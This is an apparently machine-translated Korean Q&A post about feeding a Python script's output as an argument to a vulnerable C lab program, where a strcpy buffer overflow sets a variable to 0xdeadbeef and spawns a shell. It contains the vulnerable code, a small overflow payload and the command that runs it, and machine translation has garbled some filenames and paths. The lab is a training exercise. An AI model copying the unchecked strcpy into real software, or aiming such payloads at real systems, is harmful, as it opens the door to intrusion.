stdout을 다른 디렉토리에 있는 파일로 파이프하는 방법은 무엇입니까?

stdout을 다른 디렉토리에 있는 파일로 파이프하는 방법은 무엇입니까?

나는 파이썬 파일의 표준 출력을 파이프하여 exploit1.pyC 실행 파일에 대한 명령줄 인수로 받아들일 수 있도록 하고 싶습니다 lab2C.c. 내 목적은 char 버퍼를 오버플 lab2C.c로하여 메모리가 int set_me.

문제는 동일한 로컬 경로에 속하지 않는 두 개의 다른 디렉토리에 있다는 exploit1.py것 입니다. 에 누워있다 . 파이프를 통해 stdout을 기본 기능 매개 변수로 받아들이는 방법은 무엇 입니까 ?lab2C.cexploit1.py/tmplab2Clab2C.c/levels/lab02exploit1.pylab2C

참고할 수 있는 두 가지 문서는 다음과 같습니다.

1.py 활용:

def main():

    print("aaabbbcccdddeee\xef\xbe\xad\xde")

main()

lab2C.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void shell()
{
        printf("You did it.\n");
        system("/bin/sh");
}

int main(int argc, char** argv){
    if(argc != 2)
    {
            printf("usage:\n%s string\n", argv[0]);
            return EXIT_FAILURE;
    }

    int set_me = 0;
    char buf[15];
    strcpy(buf, argv[1]);

    if(set_me == 0xdeadbeef)
    {
            shell();
    }
    else
    {
            printf("Not authenticated.\nset_me was %d\n", set_me);
    }

    return EXIT_SUCCESS;
}

답변1

C 프로그램은 표준 입력에서 읽지 않으므로 아무 것도 표준 입력으로 연결할 수 없습니다. 하지만 명령줄 인수가 필요하므로 다음과 같이 호출해야 합니다.

/levels/lab02/lab2C.exe "$(python /tmp/exploit1.py)"

현재 에 있는 경우 /levels/lab02다음과 같이 단축될 수 있습니다.

./lab2C.exe "$(python /tmp/exploit1.py)"

.exe실행 파일에 접미사를 추가하는 것은 Unix에서는 일반적이지 않습니다. 또한 코드에 버그가 있고(버퍼 오버플로 및 헤더 누락) Python 코드의 문자열이 생각한 대로 작동하지 않습니다(슬래시는 아마도 백슬래시여야 합니다).

관련 정보